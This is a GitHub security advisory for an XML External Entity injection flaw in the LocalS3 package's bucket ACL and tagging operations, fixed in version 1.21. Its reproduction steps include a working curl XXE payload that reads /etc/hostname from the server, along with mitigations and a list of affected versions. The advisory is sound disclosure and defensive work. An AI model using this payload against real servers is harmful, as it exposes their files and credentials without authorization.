GHSA-2466-4485-4pxj

Suggest an improvement
Source
https://github.com/advisories/GHSA-2466-4485-4pxj
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-2466-4485-4pxj/GHSA-2466-4485-4pxj.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-2466-4485-4pxj
Published
2025-03-10T18:29:05Z
Modified
2025-03-10T18:40:54Z
Severity
  • 6.9 (Medium) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N CVSS Calculator
Summary
LocalS3 Project Bucket Operations Vulnerable to XML External Entity (XXE) Injection
Details

Description

The LocalS3 project contains an XML External Entity (XXE) Injection vulnerability in its bucket operations that process XML data. Specifically, the vulnerability exists in the bucket ACL and bucket tagging operations. The application processes XML input without properly disabling external entity resolution, allowing an attacker to read arbitrary files from the server's filesystem.

The vulnerability occurs because the XML parser used by the application processes DOCTYPE declarations and allows external entity references. When processing bucket ACL or tagging operations, the application includes the content of external entities in its response, effectively exposing sensitive files from the server.

This type of vulnerability can be exploited to read sensitive files, perform server-side request forgery (SSRF), or potentially achieve denial of service through various XXE attack vectors.

Steps to Reproduce

  1. Create a test bucket using PUT request to http://[server]/[bucket-name]

    curl -X PUT "http://app/xxe-test-bucket2"```
    
  2. Send a PUT request to http://[server]/[bucket-name]?acl with the following XXE payload:

    curl -X PUT "http://app/xxe-test-bucket2?acl" \
    -H "Content-Type: application/xml" \
    -d '<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE AccessControlPolicy [
        <!ENTITY xxe SYSTEM "file:///etc/hostname" >
    ]>
    <AccessControlPolicy>
        <Owner>
            <ID>&xxe;</ID>
            <DisplayName>test</DisplayName>
        </Owner>
        <AccessControlList>
            <Grant>
                <Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="CanonicalUser">
                    <ID>test</ID>
                    <DisplayName>test</DisplayName>
                </Grantee>
                <Permission>FULL_CONTROL</Permission>
            </Grant>
        </AccessControlList>
    </AccessControlPolicy>'
    
  3. Send a GET request to http://[server]/[bucket-name]?acl to retrieve the bucket ACL

    curl "http://app/xxe-test-bucket2?acl"
    

After performing these steps, the content of the target file (/flag.txt in this case) will be included in the response within the ID field of the Owner element.

Mitigations

  • Configure the XML parser to disable external entity resolution by setting XMLConstants.FEATURE_SECURE_PROCESSING to true
  • Disable DOCTYPE declarations in the XML parser configuration
  • Implement XML input validation and sanitization before processing
  • Consider using JSON instead of XML for these operations if XML parsing is not strictly necessary

Impact

The vulnerability requires no authentication and can be exploited by any user who can make HTTP requests to the server. It allows reading arbitrary files from the server's filesystem, which could expose sensitive configuration files, credentials, or other confidential information. The vulnerability can also be used to perform SSRF attacks against internal systems.

Database specific
{
    "cwe_ids": [
        "CWE-611"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-10T18:29:05Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
}
References

Affected packages

Maven / io.github.robothy:local-s3-rest

Package

Name
io.github.robothy:local-s3-rest
View open source insights on deps.dev
Purl
pkg:maven/io.github.robothy/local-s3-rest

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
1.21

Affected versions

1.*
1.2
1.4
1.5
1.6
1.7
1.8
1.9
1.10
1.11
1.12
1.12.1
1.12.2
1.13
1.14
1.15
1.16
1.17
1.18
1.19
1.20

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-2466-4485-4pxj/GHSA-2466-4485-4pxj.json"